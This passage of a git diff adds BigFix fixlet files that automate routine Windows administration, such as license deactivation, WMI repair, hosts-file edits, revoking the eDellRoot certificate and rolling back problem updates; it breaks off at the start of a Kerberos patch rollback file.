+      <Name>x-fixlet-domain_attributes</Name>
+      <Value>LMS_Fixlets</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 05 Sep 2016 08:44:50 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action22342">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to remove Last Man Standing Power Scheme.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[parameter "lastman_guid" = "{names of keys whose (value "FriendlyName" of it as string as lowercase contains "last man standing") of key "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\" of native registry}"
+
+parameter "active_guid" = "{value "ActivePowerScheme" of key "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes" of native registry}"
+
+// If active power scheme is last man standing change it to Balanced
+if {parameter "lastman_guid" = parameter "active_guid"}
+waithidden "{pathname of system folder & "\powercfg.exe"}" /setactive "381b4222-f694-41f0-9685-ff5bb260df2e"
+endif
+
+waithidden "{pathname of system folder & "\powercfg.exe"}" /delete {parameter "lastman_guid"}]]></ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Remove and deactivate Windows license (25208).bes b/Sites/Windows Management/Fixlets/Fixlets/Remove and deactivate Windows license (25208).bes
new file mode 100644
index 000000000..3faba76ee
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Remove and deactivate Windows license (25208).bes	
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Remove and deactivate Windows license
+  ID       : 25208
+  Author   : ReynardMuldrake
+  Domain   : BESC
+  Imported : 2018-02-28T08:36:29
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Remove and deactivate Windows license</Title>
+    <Description><![CDATA[<P>This task will deathorize a Windows license.</P>
+<P>The task will only be relevant to activated Windows workstations.&nbsp; It will evaluate as successful after it becomes no longer relevant.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(select &quot;LicenseStatus from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name like &apos;Windows(R)%25&apos;)&quot; of wmi) as string contains &quot;1&quot;</Relevance>
+    <Relevance>(select (&quot;ProductType from Win32_OperatingSystem&quot;) of WMI) as string contains &quot;1&quot;</Relevance>
+    <Category>Software removal</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2018-02-28</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 28 Feb 2018 16:15:02 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">dos cscript C:\Windows\System32\slmgr.vbs /upk /ato
+dos cscript C:\Windows\System32\slmgr.vbs /cpky /ato
+dos cscript C:\Windows\System32\slmgr.vbs /rearm /ato
+action requires restart</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Remove logged in user from local Administrators group (24889).bes b/Sites/Windows Management/Fixlets/Fixlets/Remove logged in user from local Administrators group (24889).bes
new file mode 100644
index 000000000..4398a3343
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Remove logged in user from local Administrators group (24889).bes	
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Remove logged in user from local Administrators group
+  ID       : 24889
+  Author   : ReynardMuldrake
+  Domain   : BESC
+  Imported : 2018-01-25T12:38:54
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Remove logged in user from local Administrators group</Title>
+    <Description><![CDATA[This action will remove the logged in user from the local Administrators group from the target workstation.&nbsp; It will only appear relevant if the active user is already a member of the group. ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(select (&quot;ProductType from Win32_OperatingSystem&quot;) of WMI) as string contains &quot;1&quot;</Relevance>
+    <Relevance>exists (members whose ((it as a string) contains (name of logged on user)) of local group &quot;administrators&quot;)</Relevance>
+    <Category>Group Membership</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2018-01-25</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 25 Jan 2018 20:36:20 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden net localgroup administrators {"DOMAIN\"& name of logged on user} /delete]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Rename Windows Computer (1393).bes b/Sites/Windows Management/Fixlets/Fixlets/Rename Windows Computer (1393).bes
new file mode 100644
index 000000000..6df99dd46
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Rename Windows Computer (1393).bes	
@@ -0,0 +1,55 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Rename Windows Computer
+  ID       : 1393
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2013-01-30T13:19:17
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Rename Windows Computer</Title>
+    <Description><![CDATA[<P>We can rename a windows computer from command line using WMIC computersystem command. Please see the command below</P><PRE>WMIC computersystem where caption='currentname' rename newname</PRE>
+<P>Example: If the current computer name is XP-PC, to change it to Windows7-PC, we can run the below command.</P><PRE>wmic computersystem where caption='xp-pc' rename windows7-pc</PRE>
+<P>After running the command, you need to reboot the computer to make the changes effective.</P>
+<P>This command works on XP, Vista, Windows 7 and also on Server 2003 and Server 2008 editions. </P>]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists file &quot;wmic.exe&quot; of folder &quot;wbem&quot; of system folder</Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2013-01-30</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 30 Jan 2013 19:15:31 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">//ask admin for name of new computer
+action parameter query &quot;newComputerName&quot; with description &quot;Please enter the new Computer Name (Ex: Daniel-PC):&quot; and with default value &quot;&quot;
+//use WMI to change the name
+waithidden wmic computersystem where caption=&apos;{computer name as string}&apos; call rename &apos;{parameter &quot;newComputerName&quot; as string}&apos;
+continue if {exit code of action = 0}
+//flag action as requiring a restart
+action requires restart
+</ActionScript>
+    </DefaultAction>
+    <Action ID="Action1641">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to Command Reference.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://www.windows-commandline.com/2011/10/change-computer-name-command-line.html</ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Repair WMI (676).bes b/Sites/Windows Management/Fixlets/Fixlets/Repair WMI (676).bes
new file mode 100644
index 000000000..5c288e067
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Repair WMI (676).bes	
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Repair WMI
+  ID       : 676
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-11-30T10:20:26
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Repair WMI</Title>
+    <Description>fixlet to repair WMI</Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists wmi</Relevance>
+    <Relevance>not exists string values of selects &quot;Domain from Win32_ComputerSystem&quot; of wmi</Relevance>
+    <Category>Maintenance</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-11-30</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 30 Nov 2012 16:16:26 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">delete wmifix.bat
+delete __createfile
+createfile until end
+@ECHO OFF
+if not exist &quot;c:\temp&quot; md &quot;c:\temp&quot;
+cd /d c:\temp
+if not exist c:\windows\system32\wbem goto TryInstall
+cd /d c:\windows\system32\wbem
+net stop winmgmt /y
+winmgmt /kill
+if exist Rep_bak rd Rep_bak /s /q
+rename Repository Rep_bak
+for %%i in (*.dll) do RegSvr32 -s %%i
+for %%i in (*.exe) do call :FixSrv %%i
+for %%i in (*.mof,*.mfl) do Mofcomp %%i
+net start winmgmt
+goto End
+:FixSrv
+if /I (%1) == (wbemcntl.exe) goto SkipSrv
+if /I (%1) == (wbemtest.exe) goto SkipSrv
+if /I (%1) == (mofcomp.exe) goto SkipSrv
+%1 /RegServer
+:SkipSrv
+goto End
+:TryInstall
+if not exist wmicore.exe goto End
+wmicore /s
+net start winmgmt
+:End
+end
+move __createfile wmifix.bat
+waithidden wmifix.bat</ActionScript>
+    </DefaultAction>
+    <Action ID="Action933">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>&amp;nbsp;to read source forum thread.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri"><![CDATA[http://www.ibm.com/developerworks/forums/thread.jspa?threadID=459806&tstart=0]]></ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Replace IP in hosts file on Windows (26953).bes b/Sites/Windows Management/Fixlets/Fixlets/Replace IP in hosts file on Windows (26953).bes
new file mode 100644
index 000000000..66dc23d7a
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Replace IP in hosts file on Windows (26953).bes	
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Replace IP in hosts file on Windows
+  ID       : 26953
+  Author   : f.pezzotti
+  Domain   : BESC
+  Imported : 2022-10-13T07:46:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Replace IP in hosts file on Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2022-10-13</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 13 Oct 2022 12:33:37 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[parameter "OldAddress" = "192.168.1.1"
+parameter "NewAddress" = "192.168.1.2"
+
+createfile until end
+{ ( (if (it contains (parameter "OldAddress" of action as string & " ") ) then ( ( (parameter "NewAddress" of action as string & " ") & substring after (parameter "OldAddress" of action as string) of it) & "%0D%0A") else it & "%0D%0A") ) of ( (concatenation "    " of substrings separated by "%09" of it) of ( (lines of file "C:\Windows\System32\drivers\etc\hosts") as string) ) }
+end
+
+
+delete "C:\Windows\System32\drivers\etc\hosts_old"
+move "C:\Windows\System32\drivers\etc\hosts" "C:\Windows\System32\drivers\etc\hosts_old"
+move __createfile "C:\Windows\System32\drivers\etc\hosts"]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Revoke eDellRoot Certificate - Enable Workaround (6286).bes b/Sites/Windows Management/Fixlets/Fixlets/Revoke eDellRoot Certificate - Enable Workaround (6286).bes
new file mode 100644
index 000000000..580c5e8a5
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Revoke eDellRoot Certificate - Enable Workaround (6286).bes	
@@ -0,0 +1,112 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Revoke eDellRoot Certificate - Enable Workaround
+  ID       : 6286
+  Author   : baiyf
+  Domain   : BESC
+  Imported : 2015-11-25T08:58:27
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Revoke eDellRoot Certificate - Enable Workaround</Title>
+    <Description><![CDATA[<TABLE>
+<TBODY>
+<TR>
+<TD>
+<P>Use this Fixlet to revoke the eDellRoot Certificate.</P></TD></TR></TBODY></TABLE>
+<P>THIS CONTENT IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.</P>]]></Description>
+    <Relevance>if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false</Relevance>
+    <Relevance>exists keys &quot;Root\Certificates\98A04E4163357790C4A79E6D713FF0AF51FE6927&quot; of keys &quot;Software\Microsoft\SystemCertificates&quot; of (keys whose (exists key &quot;Software\Microsoft\SystemCertificates&quot; of it) of key &quot;HKEY_USERS&quot; of it; keys &quot;HKEY_LOCAL_MACHINE&quot; of it) of native registry</Relevance>
+    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\Disallowed\Certificates\98A04E4163357790C4A79E6D713FF0AF51FE6927&quot; of native registry</Relevance>
+    <Category>Workaround</Category>
+    <Source>Dell</Source>
+    <SourceID>Unspecified</SourceID>
+    <SourceReleaseDate>2015-11-24</SourceReleaseDate>
+    <SourceSeverity>Unspecified</SourceSeverity>
+    <CVENames>Unspecified</CVENames>
+    <MIMEField>
+      <Name>x-fixlet-component</Name>
+      <Value>Unspecified</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-product</Name>
+      <Value>Unspecified</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-product-family</Name>
+      <Value>Windows</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 25 Nov 2015 15:52:42 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action6894">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to initiate the deployment process. </PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">delete __appendfile
+delete revoke.eDellRoot.reg
+
+//Revoke eDellRoot certificate from the system Trusted Root Certification Authorities
+appendfile REGEDIT4
+appendfile
+appendfile [HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\Disallowed\Certificates\98A04E4163357790C4A79E6D713FF0AF51FE6927]
+appendfile &quot;Blob&quot;=hex:03,00,00,00,01,00,00,00,14,00,00,00,98,a0,4e,41,63,35,77,90,c4,a7,\
+appendfile   9e,6d,71,3f,f0,af,51,fe,69,27,19,00,00,00,01,00,00,00,10,00,00,00,ea,63,2f,\
+appendfile   67,70,2d,8b,ae,21,89,7d,c0,56,8b,7a,27,14,00,00,00,01,00,00,00,14,00,00,00,\
+appendfile   a0,2b,69,46,00,23,79,56,32,2e,15,11,e1,2d,8c,22,81,5d,0c,c8,0f,00,00,00,01,\
+appendfile   00,00,00,14,00,00,00,37,0c,1a,7b,45,ab,c1,fa,fb,6d,48,ca,11,02,d8,d4,17,49,\
+appendfile   fb,fa,04,00,00,00,01,00,00,00,10,00,00,00,fc,3c,91,06,a6,d3,1b,c9,85,3d,7c,\
+appendfile   cc,ec,44,ad,96,20,00,00,00,01,00,00,00,f7,02,00,00,30,82,02,f3,30,82,01,df,\
+appendfile   a0,03,02,01,02,02,10,6b,c5,7b,95,18,93,aa,97,4b,62,4a,c0,88,fc,3b,b6,30,09,\
+appendfile   06,05,2b,0e,03,02,1d,05,00,30,14,31,12,30,10,06,03,55,04,03,13,09,65,44,65,\
+appendfile   6c,6c,52,6f,6f,74,30,1e,17,0d,31,35,30,34,30,37,31,30,32,33,32,37,5a,17,0d,\
+appendfile   33,39,31,32,33,31,32,33,35,39,35,39,5a,30,14,31,12,30,10,06,03,55,04,03,13,\
+appendfile   09,65,44,65,6c,6c,52,6f,6f,74,30,82,01,22,30,0d,06,09,2a,86,48,86,f7,0d,01,\
+appendfile   01,01,05,00,03,82,01,0f,00,30,82,01,0a,02,82,01,01,00,bd,d1,26,0d,6e,cd,5b,\
+appendfile   84,5f,41,f0,e1,75,86,ce,ce,a8,23,d5,be,a3,b1,d9,75,57,41,30,c5,5b,e0,6c,db,\
+appendfile   e2,e6,63,09,33,63,6c,fc,78,6f,c2,cd,14,bd,6e,02,b5,2d,fb,95,55,31,00,ec,39,\
+appendfile   36,37,2e,0f,d7,7b,f5,0d,ba,46,36,6f,ed,25,95,43,b3,cc,16,18,a5,bb,05,71,ca,\
+appendfile   38,9f,a4,ac,4e,f0,e1,36,2e,6d,fa,43,e8,ed,cd,b7,66,b6,01,3e,63,ae,f3,67,84,\
+appendfile   27,a7,1a,be,cf,ed,df,db,be,c0,53,a4,5d,7c,2f,44,28,87,03,f9,56,c8,d5,8d,10,\
+appendfile   f8,75,ef,e6,c2,10,fd,ea,e4,df,89,ad,5f,ba,1e,8d,f3,40,f1,2f,e5,05,09,61,d9,\
+appendfile   97,b0,c9,83,d8,23,10,a2,37,90,52,3e,bc,27,dd,4f,e7,0e,41,2a,3b,ab,1b,4c,63,\
+appendfile   8a,fc,e1,4a,88,9e,f7,29,bb,55,1c,0b,16,35,92,71,1b,b0,ff,d5,d5,e8,22,ea,4f,\
+appendfile   22,f9,c6,ba,a2,88,3a,75,b9,33,ae,a8,d8,f7,bb,1c,ad,b3,da,1c,6e,ca,09,5e,ec,\
+appendfile   63,e6,21,18,91,23,35,9e,f2,ee,a4,4b,fe,96,0c,bd,5a,ac,c8,10,53,26,d6,5f,02,\
+appendfile   03,01,00,01,a3,49,30,47,30,45,06,03,55,1d,01,04,3e,30,3c,80,10,60,0f,df,13,\
+appendfile   33,f0,99,a4,5c,66,e4,9a,6b,f5,59,d4,a1,16,30,14,31,12,30,10,06,03,55,04,03,\
+appendfile   13,09,65,44,65,6c,6c,52,6f,6f,74,82,10,6b,c5,7b,95,18,93,aa,97,4b,62,4a,c0,\
+appendfile   88,fc,3b,b6,30,09,06,05,2b,0e,03,02,1d,05,00,03,82,01,01,00,2b,7d,d7,12,72,\
+appendfile   c7,b3,8f,ca,28,27,dd,94,c3,09,cf,82,0d,fa,9e,83,a0,89,4b,39,5f,33,cb,3f,88,\
+appendfile   74,26,95,18,41,52,81,f6,16,35,59,30,f0,45,47,d3,28,68,7b,a0,d3,a8,c1,dd,36,\
+appendfile   ed,af,eb,55,26,ff,4c,d7,a8,88,92,2f,30,a9,f8,81,bb,d5,09,60,22,1e,13,bc,bb,\
+appendfile   6b,b4,46,41,c2,0d,5b,1a,ed,ed,22,e2,77,29,b9,e5,ac,8a,18,e7,ea,30,6b,63,c4,\
+appendfile   fe,ed,e0,d8,c2,21,53,fc,5d,37,03,c3,49,ee,62,b9,95,90,3c,48,57,79,09,30,f2,\
+appendfile   dc,40,54,53,95,30,cd,75,1c,e4,7a,08,45,4c,57,48,fc,9c,bb,76,88,05,66,b0,83,\
+appendfile   7b,02,74,a8,80,a2,29,12,70,f0,16,8f,46,cc,d2,f9,ac,3f,ff,10,4a,54,ce,06,a3,\
+appendfile   be,40,54,3a,47,cd,81,b5,3b,c1,35,4d,ea,6d,52,02,57,84,0e,6e,cc,62,6f,ef,85,\
+appendfile   00,52,f9,e8,d0,29,3e,ab,24,83,b5,73,2d,f3,48,02,32,9a,6c,75,1c,8d,bb,99,92,\
+appendfile   68,3a,8e,be,01,7d,85,bb,fa,84,03,1c,2b,18,80,00,e3,8c,a1,9d,2b,3f,fc,53,f7,\
+appendfile   cf
+
+move __appendfile revoke.eDellRoot.reg
+waithidden regedit /s revoke.eDellRoot.reg
+</ActionScript>
+    </Action>
+    <Action ID="Action6895">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to see the article published by Official Dell Corporate Blog. </PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://en.community.dell.com/dell-blogs/direct2dell/b/direct2dell/archive/2015/11/23/response-to-concerns-regarding-edellroot-certificate</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Roll Back_ MS11-021 (KB2501584) (1412).bes b/Sites/Windows Management/Fixlets/Fixlets/Roll Back_ MS11-021 (KB2501584) (1412).bes
new file mode 100644
index 000000000..74e507218
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Roll Back_ MS11-021 (KB2501584) (1412).bes	
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Roll Back: MS11-021 (KB2501584)
+  ID       : 1412
+  Author   : 55FDC13E-285A-4207-97E8-32E29239932A
+  Domain   : BESC
+  Imported : 2013-02-20T10:55:59
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Roll Back: MS11-021 (KB2501584)</Title>
+    <Description><![CDATA[<FONT face=Verdana color=#333333><FONT face=Verdana color=#333333><FONT face=Verdana color=#333333>
+<P align=left><STRONG><FONT size=2>This&nbsp;task is to&nbsp;prevent the MS11-021 patch bug&nbsp;from causing Microsoft Excel to open slowly and or crash as defind in the following article:</FONT></STRONG></P>
+<P align=left><FONT size=2>The Office File Validation Add-In for Office 2003 and Office 2007 has appeared on Microsoft</FONT></P>
+<P align=left><FONT size=2>Update (</FONT></FONT></FONT></FONT><FONT face=Verdana color=#0065de><FONT face=Verdana color=#0065de><FONT face=Verdana color=#0065de size=2><A href="http://support.microsoft.com/kb/2501584/">KB2501584</A></FONT></FONT></FONT><FONT face=Verdana color=#333333><FONT face=Verdana color=#333333><FONT face=Verdana color=#333333><FONT size=2>) as an important update. However,&nbsp;it has a negative effect when opening large</FONT></P>
+<P align=left><FONT size=2>.XLS files from network shares using Excel 2003. Some large files that have opened in&nbsp;seconds</FONT></P>
+<P align=left><FONT size=2>before the add-in is installed now take ten minutes afterwards. The same file copied to the</FONT></P>
+<P align=left><FONT size=2>local drive will open in&nbsp;seconds again. This is admitted in </FONT><A href="http://support.microsoft.com/kb/2501584/"><FONT size=2>KB2501584</FONT></A><FONT size=2> under known issues: "Opening files from a</FONT></P>
+<P align=left><FONT size=2>network share that have many charts or points of data will take longer to open in Office</FONT></P>
+<P><FONT size=2>2003".</FONT></P>
+<P><STRONG><FONT size=2>Please see Microsoft Support article&nbsp;</FONT></STRONG><A href="http://support.microsoft.com/kb/2570623"><STRONG><FONT size=2>http://support.microsoft.com/kb/2570623</FONT></STRONG></A><STRONG><FONT size=2>&nbsp;for more information.</FONT></STRONG></P></FONT></FONT></FONT>]]></Description>
+    <Relevance>((name of it = &quot;WinXP&quot;) AND service pack major version of it = 3) of operating system</Relevance>
+    <Relevance>EXISTS regapp &quot;EXCEL.EXE&quot;</Relevance>
+    <Relevance><![CDATA[version of regapp "EXCEL.EXE" <= "11" as version]]></Relevance>
+    <Relevance>EXISTS value &quot;UninstallString&quot; OF key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-2005-0000-0000-0000000FF1CE}&quot; OF registry</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2011-07-25</SourceReleaseDate>
+    <SourceSeverity>Important</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 01 Aug 2011 15:57:49 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">waithidden {pathname of system folder}\MsiExec.exe /X{{90140000-2005-0000-0000-0000000FF1CE} /qn</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Rollback Internet Explorer to version 9 (3706).bes b/Sites/Windows Management/Fixlets/Fixlets/Rollback Internet Explorer to version 9 (3706).bes
new file mode 100644
index 000000000..f1ace2c14
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Rollback Internet Explorer to version 9 (3706).bes	
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Rollback Internet Explorer to version 9
+  ID       : 3706
+  Author   : 3FD90496-9646-4EF9-AA83-4F7E89B54964
+  Domain   : BESC
+  Imported : 2014-02-04T15:41:08
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Rollback Internet Explorer to version 9</Title>
+    <Description><![CDATA[<P>Rollback Internet Explorer to version 9</P>
+<P>This task requires a reboot upon completion. This task has been tested in 32 bit Windows 7.</P>]]></Description>
+    <Relevance><![CDATA[((name of it = "Win7") of operating system) and (version of regapp "iexplore.exe" > "9")]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2014-02-03</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 04 Feb 2014 22:37:24 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait cmd.exe /c FORFILES /P %WINDIR%\servicing\Packages /M Microsoft-Windows-InternetExplorer-*11.*.mum /c &quot;cmd /c start /w pkgmgr /up:@fname /quiet /norestart&quot;
+wait cmd.exe /c FORFILES /P %WINDIR%\servicing\Packages /M Microsoft-Windows-InternetExplorer-*10.*.mum /c &quot;cmd /c start /w pkgmgr /up:@fname /quiet /norestart&quot;</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Rollback Patch Task_ KB2871997  - Fix potential Kerberos problem - Windows7+ (3783).bes b/Sites/Windows Management/Fixlets/Fixlets/Rollback Patch Task_ KB2871997  - Fix potential Kerberos problem - Windows7+ (3783).bes
new file mode 100644
index 000000000..c9ad3697c
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Rollback Patch Task_ KB2871997  - Fix potential Kerberos problem - Windows7+ (3783).bes	
@@ -0,0 +1,58 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
